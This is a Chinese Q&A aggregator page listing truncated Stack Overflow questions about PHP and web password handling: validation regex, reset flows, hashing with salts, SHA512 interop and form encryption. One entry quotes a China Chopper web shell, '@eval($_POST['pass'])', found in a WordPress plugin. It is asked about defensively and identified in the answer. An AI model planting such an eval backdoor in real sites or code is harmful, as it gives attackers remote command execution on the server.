草庐IT

Passwords

全部标签

php - 正则表达式不适用于密码?不知道为什么

所以我有一个正则表达式代码来确保密码是4到13个字符,它总是失败publicfunctionvalid_password($password){if(preg_match('^.{3,14}^',$password)){returntrue;}//endifelse{returnfalse;}//endelse}我使用的是正则表达式而不是php的长度属性,因为稍后我将添加更多正则表达式代码。但是,现在我被这个失败的程序困住了。问题是,它确保密码超过3个字符,但它并不关心密码的长度,就好像我没有设置限制一样。提前致谢 最佳答案 您已使

php - 一次性下载密码

实现一次性密码下载文件的最佳方法是什么?最初我考虑使用PHP,为用户分配密码,然后在他们登录时删除帐户。我会将该帐户保存在一个文件中,因为我不希望在任何给定时间拥有超过少数有效用户。我是否需要跟踪session,或者是否有一种简单的方法可以通过单个站点完成此操作?哦,我不能使用外部网站,因为数据很敏感,必须保存在本地,我也不能下载任何新软件,因此仅限于HTML、JavaScript和PHP(我相信)。 最佳答案 几乎只是IlmariKaronen和martinstoeckli的答案的组合,但有更多细节。使用这种数据库表:temp_p

php - 通过 jQuery 确认 2 个密码字段

我正在尝试找到一个小脚本,在其中输入两个密码字段时,如果密码不匹配,那么脚本将指定...我也希望无需单击“提交”按钮即可执行此操作。这是我的两个字段: 最佳答案 更改输入字段名称,并使用下面的脚本,$("#password-2").change(function(){if($(this).val()!=$("#password-1").val()){alert("valuesdonotmatch");//moreprocessinghere}});如果你想使用更多的功能,你应该考虑使用像jqueryValidate这样的jquery

PHP暴力密码生成器

我希望能够输入一个数字并获得一个由字符串或唯一字符构建的密码。所以如果我在字符串中有两个字符:$string="AB";这些是期望的结果:-in-|-out-0|A1|B2|AA3|AB4|BA5|BB6|AAA7|AAB8|ABA9|ABB10|BBB等等。这是我当前的代码:for($i=1;$i";}functioncreateString($id,$chars)//THEISSUE";$string="";for($i=0;$i$max){$num-=$max;}return$num;}/*getthelengthoftheoutputbyinputingthe"in"andde

php - 如何以安全的方式提供密码重置功能?

我目前正在完成一个网站,要求用户创建个人帐户才能玩托管在同一网站上的游戏。我目前难以弄清楚的是如何在忘记密码的情况下为用户实现安全的密码重置功能。这是当前的流程:第1步:用户点击网站上的“忘记密码”链接。第2步:用户进入表单并在发送电子邮件之前输入两次电子邮件地址。第3步:电子邮件包含指向另一个表单的链接,用户可以在其中输入新密码两次以进行确认。输入第二种形式后,系统将一条新记录插入到数据库中我的Recover_Password表中,该表包含“id”、“token”、“created_at”和“expires_at”列。这是链接->(mywebsitename).com/form?id

php - PHP 5.5 的新 password_hash 函数中随机生成的密码 salt 有什么用?

我刚刚阅读了PHP5.5中的新功能,它包括新的密码散列功能(http://www.php.net/manual/en/function.password-hash.php)。现在如果你看描述,它的默认操作是随机生成一个密码盐,如果你没有指定。但我看不出这有什么用。因为如果您正在对密码进行哈希处理以进行安全存储并且盐是随机的。然后,当您运行用户输入的密码字符串时,如果盐每次都不同,则每次生成的哈希值都会不同。因此,您将无法成功比较输入的有效密码与存储的密码哈希副本。那么这到底有什么用呢? 最佳答案 盐包含在哈希值中。'saltsalt

php - 在 wordpress 站点中找到 <?php @eval($_POST ['pass' ]);?> 代码

我在我的一个wordpress插件站点中找到了这段代码。我想它可能会被恶意使用,但它到底做了什么,我能否查明它是否调用了一些我应该注意的其他操作? 最佳答案 此PHP脚本属于ChinaChopper黑客工具包。https://www.fireeye.com/blog/threat-research/2013/08/breaking-down-the-china-chopper-web-shell-part-i.html 关于php-在wordpress站点中找到代码,我们在StackOv

c# - 采用 C# sha512 哈希并在 php 中进行比较

我查看并找到了获取PHPsha512哈希并在C#中匹配它的代码。我目前正在寻找一种方法,从用C#制作的散列开始,并在PHP中获得相同的结果。我们正在慢慢地从asp.net转移到PHP,并且需要一种方法来检查我们在数据库中的密码。这是用于生成哈希的C#代码。//Createahashfromapwdandsaltusingsha512publicstaticstringCreatePasswordHash(string_password,string_salt){stringsaltAndPwd=String.Concat(_password,_salt);SHA512sha512=ne

php - 如何加密表单数据?

我有一个登录表单,可以将id和密码提交到一个php文件,然后该文件将根据SQL数据库中的数据检查id和pw。我如何加密传出表单数据以确保在它到达目的地之前没有人能看到它?登录表单代码是LoginpageUsername:Password:会在数据库中预散列密码,并且发送散列密码更有效? 最佳答案 SSL是答案。唯一的答案。但是,如果您必须尝试使用​​家庭酿造解决方案,请考虑以下想法:让PHP代码为Javascript提供当前时间戳。您获取用户输入的密码,附加时间戳,然后对其进行加密。将加密后的密码连同时间戳返回给服务器。让服务器确保

php - 为 firefox 密码自动完成伪造域?

当运行两个不同的网站时,比如free.webhost.com/app1和free.webhost.com/app2,Firefox似乎无法存储不同的登录凭据对于两者,尤其是当使用相同的用户名和不同的密码时。如果用户在/app1网站上的凭据是Name和pass1而在另一个网站上是Name和pass2,那么Firefox只能存储其中一个,并且在它们之间跳转时会要求更改密码。我调查了这个问题,令我惊讶的是,这似乎是firefox错误存储库中的WONTFIX:https://bugzilla.mozilla.org/show_bug.cgi?id=263387在设计我的应用程序时,有什么方法可